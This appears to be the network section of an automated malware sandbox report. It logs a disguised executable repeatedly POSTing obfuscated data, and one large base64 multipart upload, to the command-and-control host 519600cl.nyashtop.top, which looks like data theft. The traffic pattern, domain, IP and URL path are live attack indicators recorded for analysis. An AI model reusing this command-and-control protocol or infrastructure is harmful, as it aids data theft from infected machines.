                                                                  Data Ascii: _Y[_THQWZ]VVRQPSP^UXWVZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8& !%$ (*+X'(9'/*+'T"Z(_''1(Z<'F!.\*
                                                                  Jan 13, 2025 13:10:59.131508112 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:59.269674063 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:59 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  8192.168.2.44974637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:59.435622931 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:10:59.783382893 CET2580OUTData Raw: 5a 5f 5e 51 54 44 54 57 5a 5d 56 56 52 5f 50 59 50 5e 55 5c 57 5f 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z_^QTDTWZ]VVR_PYP^U\W_ZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\85\!:27*9?_'(-$/)*8'")<;$?'F!.\*
                                                                  Jan 13, 2025 13:11:00.074445009 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:00.203423977 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:59 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  9192.168.2.44974837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:00.382977962 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:00.735975981 CET2580OUTData Raw: 5f 5d 5e 51 54 45 54 53 5a 5d 56 56 52 5d 50 58 50 5d 55 54 57 57 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _]^QTETSZ]VVR]PXP]UTWWZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^;3> 2:^%4*+_$+93;= 3")(0X$W7).'F!.\*5
                                                                  Jan 13, 2025 13:11:01.031017065 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:01.161417007 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:00 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  10192.168.2.44974937.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:01.414022923 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1904
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:01.770657063 CET1904OUTData Raw: 5f 5a 5b 57 51 43 54 55 5a 5d 56 56 52 51 50 5b 50 5a 55 5a 57 5f 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[WQCTUZ]VVRQP[PZUZW_ZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#,9!2]%?)3%8*$(S*\,'1:X))3&1$_(.'F!.\*
                                                                  Jan 13, 2025 13:11:02.054920912 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:02.184114933 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:01 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 56 3d 1b 0c 1d 33 3a 3c 52 3b 2c 25 03 3a 3f 2f 5f 2a 0c 2b 05 3e 04 13 5c 3a 10 30 58 2b 2b 2c 5b 29 22 2f 0e 24 0f 2b 0d 3e 39 2b 51 07 11 39 1b 24 3d 2d 07 3f 55 2a 13 24 54 3a 42 35 0a 27 06 28 07 32 57 33 16 23 0c 3c 2b 3e 04 29 33 00 59 25 07 0f 0b 2b 3c 25 07 3e 3d 2f 5e 08 12 25 56 29 22 32 0f 24 23 23 1f 22 2c 24 5e 2a 2f 25 16 22 11 00 55 29 04 3e 01 27 00 25 13 26 3e 07 05 25 0c 3c 1e 31 32 21 10 24 03 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !V=3:<R;,%:?/_*+>\:0X++,[)"/$+>9+Q9$=-?U*$T:B5'(2W3#<+>)3Y%+<%>=/^%V)"2$##",$^*/%"U)>'%&>%<12!$$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  11192.168.2.44975037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:01.635178089 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2568
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:01.985954046 CET2568OUTData Raw: 5a 5a 5b 5f 54 43 51 54 5a 5d 56 56 52 58 50 5a 50 50 55 59 57 56 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ[_TCQTZ]VVRXPZPPUYWVZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#[;!"&13)?_$!0>,S*:/$:Z(/0;(>'F!.\*
                                                                  Jan 13, 2025 13:11:02.282390118 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:02.411541939 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:02 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:02.422107935 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----IrmqyKZIOWMKVSdnVClksD11m5zJeoQlfD
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 156954
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:02.620119095 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:02.620542049 CET14832OUTData Raw: 2d 2d 2d 2d 2d 2d 49 72 6d 71 79 4b 5a 49 4f 57 4d 4b 56 53 64 6e 56 43 6c 6b 73 44 31 31 6d 35 7a 4a 65 6f 51 6c 66 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------IrmqyKZIOWMKVSdnVClksD11m5zJeoQlfDContent-Disposition: form-data; name="0"Content-Type: text/plainZZ[WT@TPZ]VVR^PSPYU\WSZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:11:02.625734091 CET2472OUTData Raw: 64 6a 46 6d 55 57 68 30 64 46 52 6b 56 7a 42 54 57 6e 52 5a 4f 47 35 55 63 6c 4e 58 65 6d 46 6d 55 7a 6c 7a 62 30 31 69 65 48 4e 32 62 56 4e 5a 51 32 78 49 65 56 46 36 4e 58 70 31 54 7a 64 48 54 57 6c 73 4d 48 5a 58 55 7a 4e 6f 5a 56 42 55 63 6b
                                                                  Data Ascii: djFmUWh0dFRkVzBTWnRZOG5UclNXemFmUzlzb01ieHN2bVNZQ2xIeVF6NXp1TzdHTWlsMHZXUzNoZVBUck9TeHQ4TGNMZFFYSXVsa21acEdaWkUySHltTzBxQVpBQ3BYMHhWd3d4TWNtTkNmZFJSNVVlYytXbi9mSXFubFVYSlBtMkkvdHVmSzF5TFczNEZXMnZZYlMydFlacjZ5ZzhuVTN1TGlLYXphV1dTRXh4cmlGeEdmTGM
                                                                  Jan 13, 2025 13:11:02.625787973 CET7416OUTData Raw: 56 44 64 6a 4d 58 56 70 53 30 35 55 61 30 6c 76 55 48 4e 4c 55 45 74 71 65 6d 35 35 4d 48 6f 76 64 57 6c 7a 57 47 73 34 53 45 63 7a 54 69 39 57 63 6d 5a 72 59 6e 68 36 4d 6d 39 77 4f 44 5a 71 4c 31 59 33 4c 32 31 56 53 6b 78 31 4d 6d 63 72 65 57
                                                                  Data Ascii: VDdjMXVpS05Ua0lvUHNLUEtqem55MHovdWlzWGs4SEczTi9WcmZrYnh6Mm9wODZqL1Y3L21VSkx1MmcreW03dW85VnZITTF2YzM5bEE2Uy9abmhNZVpDNnA1a2dMWkJPZUFRVzVHQ3cvc3pSTlMwNTExU3dtQ1IzRWZucmJUTXFib1hWUzZ0SGtnc3k4QldIWFB2b0NORjZJb3oxd0tiNUVYL1BKUCsrUlZMSzBsSktXNnQ4aUh
                                                                  Jan 13, 2025 13:11:02.625847101 CET2472OUTData Raw: 5a 55 70 4d 65 54 5a 6e 54 6e 68 68 62 33 6c 58 5a 48 41 31 62 7a 68 35 55 31 46 71 52 32 52 31 59 7a 51 31 65 43 74 4b 55 47 46 7a 4d 6a 64 30 64 6e 52 56 55 56 52 6b 64 48 64 6a 4e 58 68 74 64 48 5a 33 4e 54 68 50 55 43 74 46 5a 7a 41 72 55 7a
                                                                  Data Ascii: ZUpMeTZnTnhhb3lXZHA1bzh5U1FqR2R1YzQ1eCtKUGFzMjd0dnRVUVRkdHdjNXhtdHZ3NThPUCtFZzArUzYvdFg3UHNtTVczN1B1emdBNXp1SHJYeXVjNGVvcTN0cmU3b3ZtZTVsTGNueTAxZVMxLzRKVzhiUzZmcmR2WStJN1M2Z0Z6Y29JN3kwODBlWWpxTWJ0dWM0NHgrUjcxcStGTEZ0UStIc3NTNkYvYkpHcWx2cy8ydjd
                                                                  Jan 13, 2025 13:11:02.625895023 CET2472OUTData Raw: 64 44 4e 4a 56 47 64 49 61 7a 51 30 4e 45 6c 51 55 46 6b 78 51 32 67 34 65 47 39 73 55 6b 68 61 63 47 77 7a 55 6b 46 4a 59 33 56 50 5a 56 59 35 55 6e 64 6c 62 6d 39 68 4e 48 4e 51 61 48 4e 4f 61 44 5a 7a 4e 6d 78 4c 65 54 56 79 57 46 68 55 55 79
                                                                  Data Ascii: dDNJVGdIazQ0NElQUFkxQ2g4eG9sUkhacGwzUkFJY3VPZVY5Undlbm9hNHNQaHNOaDZzNmxLeTVyWFhUUy8rWjJZaXZpcTlPRk9xbStXOW5aMzF0L2tGRk9pamx1TGFXNWdnbmx0NHMrWkxIRXpJbUJrNUlHQng2MHhzb3pxeU9ySXBabEtIS2dESkpHTWdZNStsZG50SVh0ZEhKN0twWlBsZXZrTFJVbHpiM05uNWYydTF1TFl
                                                                  Jan 13, 2025 13:11:02.625907898 CET2472OUTData Raw: 56 57 34 31 56 57 5a 58 61 6e 42 52 54 56 52 49 4e 57 55 78 51 6a 51 72 62 45 74 53 4c 7a 68 42 63 6e 42 44 54 55 68 30 55 55 46 75 64 43 39 4c 62 47 38 33 56 55 56 49 52 6b 6c 4d 62 6d 55 77 56 56 56 57 51 6a 68 7a 55 6c 52 36 56 46 64 73 61 6d
                                                                  Data Ascii: VW41VWZXanBRTVRINWUxQjQrbEtSLzhBcnBDTUh0UUFudC9LbG83VUVIRklMbmUwVVVWQjhzUlR6VFdsamVYc09vMituVG9GdDdXZTRXVmw4MXpsc2VXakhoRllkUDRoVU55c3F2ckEwN1RUclFkcmVlMmhpYVJGRnZOdUx5QURhMkVZYk1uQVhxd3FTZlRvcFl4ZnpRYm9sbEVQbUhHQStNNDllbFZIMExUNUdMR0FBbnFSWGs
                                                                  Jan 13, 2025 13:11:02.625921965 CET2472OUTData Raw: 64 54 5a 7a 62 30 78 34 55 58 4d 32 59 6d 64 45 61 31 5a 46 64 57 73 79 55 30 56 72 55 57 70 4b 52 30 74 6c 53 58 6b 79 56 6c 64 7a 4e 58 46 57 61 7a 64 6d 4d 54 67 33 54 44 64 70 54 55 70 74 4f 45 74 47 51 6c 55 7a 52 7a 64 57 4c 79 74 43 4f 54
                                                                  Data Ascii: dTZzb0x4UXM2YmdEa1ZFdWsyU0VrUWpKR0tlSXkyVldzNXFWazdmMTg3TDdpTUptOEtGQlUzRzdWLytCOTEyWjJvV09xYVg0YzFPMjFLQzR0WnJyVVloYnJJdURLcUxLWFpmN3lqY3Z6REk1SE5TNmtsL2JwcWw5dG1TMmJ3OVkyME03cmlOcHo5bklRRThGc0FrajB5VHhWcUhTTE9COTZSOCs5TWJRckJuTEdMazllYXhlVTF
                                                                  Jan 13, 2025 13:11:02.625967026 CET4944OUTData Raw: 64 45 70 53 55 6c 46 42 56 56 56 56 56 57 64 46 62 32 39 76 63 47 64 47 53 6c 4d 77 56 55 52 46 62 33 42 55 55 31 56 42 53 6c 4e 70 61 57 6c 74 51 57 78 47 51 6d 39 76 52 30 70 53 55 32 31 72 62 30 4a 43 55 7a 56 77 53 30 74 5a 65 48 64 6a 4c 31
                                                                  Data Ascii: dEpSUlFBVVVVVWdFb29vcGdGSlMwVURFb3BUU1VBSlNpaWltQWxGQm9vR0pSU21rb0JCUzVwS0tZeHdjL1dqS25xdjVVMmlnQmZMVS9kYjg2WVltSGI4cWRtbERFVVdEVWlJUGZpa3FmZm5xQWFRcWg5cVZoOHhEaWtxVXhmM1NEVENyRHFEUllkeHRGRkZGaWhLS0tLQUVvcGFTbU1RMFV0RklCTVVsTFJRTWJpZzB0RkFDVVV
                                                                  Jan 13, 2025 13:11:02.626029968 CET4944OUTData Raw: 56 6d 6c 44 54 7a 52 78 57 46 59 76 52 56 59 31 59 58 63 79 63 32 4e 4d 59 6b 4a 4a 63 44 4e 35 5a 32 4e 72 5a 7a 6c 43 4e 6d 52 71 4b 30 35 50 5a 7a 68 4b 4b 30 6b 30 65 48 4e 6d 55 7a 56 36 64 45 39 42 4d 30 68 4a 4c 30 39 78 54 6a 6c 69 54 58
                                                                  Data Ascii: VmlDTzRxWFYvRVY1YXcyc2NMYkJJcDN5Z2NrZzlCNmRqK05PZzhKK0k0eHNmUzV6dE9BM0hJL09xTjliTXBrc2I2SXE2SGxjL01qZjQxK1lVc05TdzJMalZydzVvcCtxL3dBbjNQNkV4U3BZNmkxaHBweXRmZlg1OVVWNU5UbHVnR25uZVVnY0YySnhVL2gyNlllSmJZb2ZsQWZmOU5wL3Jpc24reVp3MkV1RUtlcHlEV3hwTnR
                                                                  Jan 13, 2025 13:11:03.493463039 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:03 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:03.711143970 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:03.900099039 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:04.456947088 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:04 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  12192.168.2.44975137.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:01.661976099 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:02.017219067 CET540OUTData Raw: 5f 59 5b 56 54 48 54 54 5a 5d 56 56 52 5e 50 5e 50 5c 55 54 57 57 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y[VTHTTZ]VVR^P^P\UTWWZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^83625%U?@)*?_3;>U';)*<V'!2_<)^'W8).'F!.\*9
                                                                  Jan 13, 2025 13:11:02.284584999 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:02.415986061 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:02 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  13192.168.2.44975237.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:02.599447966 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:02.955255985 CET2580OUTData Raw: 5a 5e 5e 56 54 47 54 55 5a 5d 56 56 52 5a 50 53 50 58 55 5f 57 54 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^^VTGTUZ]VVRZPSPXU_WTZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\,6 !527+)#Y%(0>>/$1=)90(Z).'F!.\*)
                                                                  Jan 13, 2025 13:11:03.346184015 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:03.373569965 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:03 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  14192.168.2.44975437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:04.698750973 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:05.048432112 CET2580OUTData Raw: 5f 5d 5b 52 54 48 51 54 5a 5d 56 56 52 5e 50 5e 50 5a 55 5e 57 55 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _][RTHQTZ]VVR^P^PZU^WUZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#.#"52=$07D):4$^%3X?)*P'-):8&2<[?'F!.\*9
                                                                  Jan 13, 2025 13:11:05.328721046 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:05.457614899 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:05 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  15192.168.2.44976037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:06.506820917 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:06.860945940 CET2580OUTData Raw: 5a 58 5b 5e 51 45 54 50 5a 5d 56 56 52 5e 50 5f 50 51 55 58 57 53 5a 57 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX[^QETPZ]VVR^P_PQUXWSZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z.#*!&&+B>:#$+*$.(:'2($$2$]?'F!.\*9
                                                                  Jan 13, 2025 13:11:07.140785933 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:07.316591024 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:07 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  16192.168.2.44976737.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:07.213102102 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2000
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:07.564022064 CET2000OUTData Raw: 5a 55 5b 56 54 43 54 55 5a 5d 56 56 52 5e 50 5c 50 5f 55 55 57 54 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
